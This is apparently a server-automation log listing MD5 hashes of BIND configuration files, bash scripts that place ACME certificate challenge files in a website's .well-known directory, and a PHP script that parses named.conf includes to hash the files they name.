MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-04 06:00:03: Establishing a connection
2026-01-04 06:00:03: Establishing a connection
2026-01-04 06:00:03: 

PUT: /tmp/pkp523393

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-04 06:00:04: 

chmod 755 /tmp/pkp523393; /tmp/pkp523393; rm /tmp/pkp523393

2026-01-04 06:00:04: 


1


2026-01-04 06:00:05: Establishing a connection
2026-01-04 06:00:05: 

PUT: /tmp/pkp736581

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > BeEpJZ4iPoq--9JZ9eYa4fO1SG1gsKWBze5qYEahOpk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
BeEpJZ4iPoq--9JZ9eYa4fO1SG1gsKWBze5qYEahOpk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 BeEpJZ4iPoq--9JZ9eYa4fO1SG1gsKWBze5qYEahOpk


2026-01-04 06:00:05: 

chmod 755 /tmp/pkp736581; /tmp/pkp736581; rm /tmp/pkp736581

2026-01-04 06:00:05: 




2026-01-05 06:00:03: Establishing a connection
2026-01-05 06:00:04: Establishing a connection
2026-01-05 06:00:04: 

PUT: /tmp/pkp404997

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-05 06:00:04: 

chmod 755 /tmp/pkp404997; /tmp/pkp404997; rm /tmp/pkp404997

2026-01-05 06:00:04: 


1


2026-01-05 06:00:06: Establishing a connection
2026-01-05 06:00:06: 

PUT: /tmp/pkp917901

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > k2hz5S7zKV-jw7M67FD9mm0rLR_WfHGUfKzlaDiO8wI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
k2hz5S7zKV-jw7M67FD9mm0rLR_WfHGUfKzlaDiO8wI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 k2hz5S7zKV-jw7M67FD9mm0rLR_WfHGUfKzlaDiO8wI


2026-01-05 06:00:06: 

chmod 755 /tmp/pkp917901; /tmp/pkp917901; rm /tmp/pkp917901

2026-01-05 06:00:06: 




2026-01-05 13:45:42: Establishing a connection
2026-01-05 13:46:06: Establishing a connection
2026-01-05 13:46:06: 

PUT: /tmp/pkp655776

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-05 13:46:07: 

runuser -l bind -s /bin/bash -c '/tmp/pkp655776; rm /tmp/pkp655776'

2026-01-05 13:46:07: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
